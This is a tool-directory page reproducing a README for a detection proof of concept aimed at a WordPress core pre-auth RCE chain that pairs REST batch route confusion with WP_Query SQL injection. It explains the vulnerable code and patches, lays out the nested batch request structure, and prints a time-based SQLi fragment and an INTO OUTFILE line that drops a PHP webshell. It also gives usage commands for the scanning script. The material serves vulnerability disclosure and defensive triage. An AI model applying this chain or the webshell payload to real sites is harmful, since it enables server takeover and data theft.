Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wordpress-cve-2026-63030 — Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC. | Kitploit
Tools/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.

View Repository
4282 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WordPress REST API Batch Route Confusion + SQL Injection → RCE

Pre-authentication, unauthenticated, no plugins required. Works against a stock WordPress install via the REST API batch endpoint.

CVECVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
DiscovererAdam Kues — Assetnote / Searchlight Cyber (dubbed "wp2shell")
AffectedWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (full RCE chain) · 6.8.0 – 6.8.5 (SQLi only)
Patched6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCritical (RCE chain) / Moderate (SQLi standalone)
Researcher bloghttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Overview

Two bugs in WordPress core, chainable into unauthenticated remote code execution:

  1. SQL injection in WP_Query when author__not_in is a string rather than an array — the is_array() sanitisation guard is skipped and the raw value is interpolated into a NOT IN (...) clause.
  2. Batch route confusion in WP_REST_Server::serve_batch_request_v1() — WP_Error sub-requests are pushed into $validation[] but not $matches[], causing a +1 index shift. Sub-request i ends up being dispatched with sub-request i+1's handler.

Neither bug alone is enough: the REST API sanitises author_exclude (type: array, items: integer) before it reaches WP_Query, and the batch endpoint rejects GET sub-requests (enum: POST, PUT, PATCH, DELETE). Chaining them through a double confusion bypasses both defences and reaches the SQLi unauthenticated.

2. Root Causes

2.1 SQL injection — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnerable (6.9.4):

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

When author__not_in is a string the is_array() branch is skipped; (array) "payload" evaluates to ["payload"]; implode(',', ...) returns the raw string, which is interpolated straight into the SQL.

Fix (6.9.5): use wp_parse_id_list() which accepts any input shape and returns a sanitised integer list.

2.2 Batch route confusion — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

A single WP_Error sub-request (e.g. malformed path) at position 0 shifts every subsequent entry by one. Request i is then dispatched with request i+1's handler.

Fix (6.9.5): append $matches[] = $single_request; for the error case as well. Additional hardening short-circuits rest_api_loaded() / serve_request() while a dispatch is already in flight.

3. The Double-Confusion Chain

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

The resulting SQL fragment is:

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) fires once per matching post row, so the total delay is roughly N × <number_of_published_posts> seconds.

From SQLi to RCE ("wp2shell")

The SELECT-only injection (no stacked queries, $wpdb uses mysqli_query) still yields RCE on typical LAMP stacks when the MySQL user has FILE privilege — which is the default on many shared hosters and self-managed servers:

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

writes a PHP webshell into the web root, reachable at /x.php.

Alternative paths (no FILE privilege needed) include reading the admin password hash via UNION/boolean blind SQLi and uploading a malicious plugin through the authenticated admin UI.

4. Detection / PoC

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

The PoC performs two non-destructive tests:

TestMethodSafe?
Route confusion (CVE-2026-63030)Structural — verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fieldsYes
SQLi (CVE-2026-60137)Time-based blind — injects SLEEP(N) via author_exclude and measures latency vs. a benign baselineYes
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

Example output against a vulnerable 6.9.4 instance:

Download Tool